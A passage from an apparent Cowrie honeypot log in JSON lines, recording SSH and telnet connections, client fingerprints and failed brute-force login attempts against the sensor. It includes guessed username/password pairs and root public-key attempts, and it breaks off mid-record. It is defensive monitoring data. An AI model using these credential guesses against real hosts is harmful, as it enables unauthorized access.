{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:38.497510Z","src_ip":"103.15.226.202","session":"34f50b184397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:39.243338Z","src_ip":"103.15.226.202","session":"34f50b184397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:40.496802Z","src_ip":"103.15.226.202","session":"34f50b184397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.08720874786377,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:43.026043Z","src_ip":"212.55.149.117","session":"0a2b6436ec0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":48810,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af99f172021","protocol":"ssh","message":"New connection: 118.194.229.94:48810 (159.203.135.109:22) [session: 6af99f172021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:08.395000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:08.399914Z","src_ip":"118.194.229.94","session":"6af99f172021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:08.569255Z","src_ip":"118.194.229.94","session":"6af99f172021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser123456789","message":"login attempt [ubuntu/hduser123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:09.278705Z","src_ip":"118.194.229.94","session":"6af99f172021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:10.451016Z","src_ip":"118.194.229.94","session":"6af99f172021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43668,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdd0d533f32f","protocol":"telnet","message":"New connection: 128.199.8.54:43668 (159.203.135.109:23) [session: fdd0d533f32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:10.920520Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":48064,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdcd73a23d91","protocol":"ssh","message":"New connection: 43.160.242.74:48064 (159.203.135.109:22) [session: fdcd73a23d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:18.741338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:18.746386Z","src_ip":"43.160.242.74","session":"fdcd73a23d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:18.977910Z","src_ip":"43.160.242.74","session":"fdcd73a23d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin_123","password":"admin_123","message":"login attempt [admin_123/admin_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:19.928490Z","src_ip":"43.160.242.74","session":"fdcd73a23d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:21.160814Z","src_ip":"43.160.242.74","session":"fdcd73a23d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"694ae3c36a3b","protocol":"telnet","message":"New connection: 128.199.8.54:54140 (159.203.135.109:23) [session: 694ae3c36a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:45.950525Z"}
{"eventid":"cowrie.session.closed","duration":37.277862310409546,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:48.198250Z","src_ip":"128.199.8.54","session":"fdd0d533f32f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35668,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4367e1a2590","protocol":"telnet","message":"New connection: 128.199.8.54:35668 (159.203.135.109:23) [session: c4367e1a2590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:44:50.862188Z"}
{"eventid":"cowrie.session.closed","duration":33.65325403213501,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:19.603695Z","src_ip":"128.199.8.54","session":"694ae3c36a3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.164191007614136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:25.026286Z","src_ip":"128.199.8.54","session":"c4367e1a2590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":60203,"dst_ip":"159.203.135.109","dst_port":22,"session":"30c2a8554b24","protocol":"ssh","message":"New connection: 213.209.159.56:60203 (159.203.135.109:22) [session: 30c2a8554b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:27.874955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:27.879798Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:27.962078Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley","message":"login attempt [kinsley/kinsley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:28.364232Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley1","message":"login attempt [kinsley/kinsley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:29.450432Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley123","message":"login attempt [kinsley/kinsley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:30.536530Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley1234","message":"login attempt [kinsley/kinsley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:31.622530Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley12345","message":"login attempt [kinsley/kinsley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:32.708306Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:33.793893Z","src_ip":"213.209.159.56","session":"30c2a8554b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39461,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d45ba9d43f6","protocol":"telnet","message":"New connection: 212.55.149.117:39461 (10.17.0.5:23) [session: 5d45ba9d43f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:45:52.158849Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":60944,"dst_ip":"159.203.135.109","dst_port":22,"session":"521ca19d1acc","protocol":"ssh","message":"New connection: 118.194.229.94:60944 (159.203.135.109:22) [session: 521ca19d1acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:11.040246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:11.044900Z","src_ip":"118.194.229.94","session":"521ca19d1acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:11.201248Z","src_ip":"118.194.229.94","session":"521ca19d1acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo123456789","message":"login attempt [ubuntu/demo123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:11.861421Z","src_ip":"118.194.229.94","session":"521ca19d1acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:13.022304Z","src_ip":"118.194.229.94","session":"521ca19d1acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.26.188.219","src_port":40224,"dst_ip":"10.17.0.5","dst_port":22,"session":"f864b3158806","protocol":"ssh","message":"New connection: 200.26.188.219:40224 (10.17.0.5:22) [session: f864b3158806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:29.621940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:29.626229Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:29.748612Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:b1:fe:f5:e7:7b:c9:05:22:c7:e8:ad:e2:15:65:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn2RuheApQxcVEGH2t2Z68Tk283trnq/cyjcb3pv3jS1MaB+5laoEAjkK/aagpvdz2Tq2hES88SU0i1b5UmpFw+aNgaaS71zTVHrvJ7SKm5//Yb4hNuUouIRAfAzRCg11mOrbY8oNclKig1kfKW3yK3mW7i6GDEs58nqWsKLE4Edo9ZcJCCzMrfldsbnNmfOT8MSPEhxRJdEmAGPPgymRIvdOrec0TQoFq6jI2N2AW/2ODQY1eCF92wjvX/QXtNQCX3UVUdRamByS83hdzyx4P5W1jgXppfVCaytdg12onJig5y4EtztzpHCfBFyku/PmgxMZbx8xIErv8TMsG03/zQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:b1:fe:f5:e7:7b:c9:05:22:c7:e8:ad:e2:15:65:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.331942Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:b1:fe:f5:e7:7b:c9:05:22:c7:e8:ad:e2:15:65:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn2RuheApQxcVEGH2t2Z68Tk283trnq/cyjcb3pv3jS1MaB+5laoEAjkK/aagpvdz2Tq2hES88SU0i1b5UmpFw+aNgaaS71zTVHrvJ7SKm5//Yb4hNuUouIRAfAzRCg11mOrbY8oNclKig1kfKW3yK3mW7i6GDEs58nqWsKLE4Edo9ZcJCCzMrfldsbnNmfOT8MSPEhxRJdEmAGPPgymRIvdOrec0TQoFq6jI2N2AW/2ODQY1eCF92wjvX/QXtNQCX3UVUdRamByS83hdzyx4P5W1jgXppfVCaytdg12onJig5y4EtztzpHCfBFyku/PmgxMZbx8xIErv8TMsG03/zQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.335675Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:d0:06:fd:ee:b1:e8:ab:d3:48:1d:12:ae:b3:f7:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC580yFHwe1k1MkOn3xss79sSW8M/XIpkJ5LXCEiGIGsDZzjIbZBwxKAoGarn5THWl4eBBuokVQvRNjjEbQg0t22fs+gH39NxDqUm1drdMNG+NBYFkrjO7noFG6jY6Tht1/hb0Jj7fLX1yUtXU1PtWwfvtN1JagPqYNEZW111QxrNI4yFwMlaoM2S9OSl5s46IcPQ64o0+Jam1qZ8Bo51h7bYYUUeEtaape/WvDNVGvvMGR45EKXXPfu77Njvc3rW01V9JNFIkaLJAtL/ISGhnRHzCBLAuXMm/seqCbqEPtt3oKPq3Sl3xm4E8TVCKbtvLnoMRh9t1XaObKqvV0Yx7nNzhmXy1pQZkS/ocxbxAjFUXcCLaFe5JFNU5knuyRIT0cP5byRuxouDnedAkW2H8NwAHOO2QRnXmXln64xThI2ixZzYdqoLzFwiBOFjraBiQhqBV9kn+jz4W46QRdfoePIQkwzoRviVFdfBFgmUxqnUoq+O/cjSuwyJXBeFqmbPnLrmRrIaARuegJHk6WmNUwhQC7W4vlm5doc/7X7tv3+tEBll6toAjq1BGlAvNr5ibVGNegLmNiFOxQNpKqjs8ypS8p+Hl6gUf6FDBg4yNBgfZ/9YTFHbM2N5gtCjQsv26yD5J8cDvnTmQM5ievkCN4XRbzf/icpjPBAFSfoSm1Kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:d0:06:fd:ee:b1:e8:ab:d3:48:1d:12:ae:b3:f7:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.457827Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:d0:06:fd:ee:b1:e8:ab:d3:48:1d:12:ae:b3:f7:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC580yFHwe1k1MkOn3xss79sSW8M/XIpkJ5LXCEiGIGsDZzjIbZBwxKAoGarn5THWl4eBBuokVQvRNjjEbQg0t22fs+gH39NxDqUm1drdMNG+NBYFkrjO7noFG6jY6Tht1/hb0Jj7fLX1yUtXU1PtWwfvtN1JagPqYNEZW111QxrNI4yFwMlaoM2S9OSl5s46IcPQ64o0+Jam1qZ8Bo51h7bYYUUeEtaape/WvDNVGvvMGR45EKXXPfu77Njvc3rW01V9JNFIkaLJAtL/ISGhnRHzCBLAuXMm/seqCbqEPtt3oKPq3Sl3xm4E8TVCKbtvLnoMRh9t1XaObKqvV0Yx7nNzhmXy1pQZkS/ocxbxAjFUXcCLaFe5JFNU5knuyRIT0cP5byRuxouDnedAkW2H8NwAHOO2QRnXmXln64xThI2ixZzYdqoLzFwiBOFjraBiQhqBV9kn+jz4W46QRdfoePIQkwzoRviVFdfBFgmUxqnUoq+O/cjSuwyJXBeFqmbPnLrmRrIaARuegJHk6WmNUwhQC7W4vlm5doc/7X7tv3+tEBll6toAjq1BGlAvNr5ibVGNegLmNiFOxQNpKqjs8ypS8p+Hl6gUf6FDBg4yNBgfZ/9YTFHbM2N5gtCjQsv26yD5J8cDvnTmQM5ievkCN4XRbzf/icpjPBAFSfoSm1Kw==","type":"ssh-rsa","message":"public key login attempt for [root] 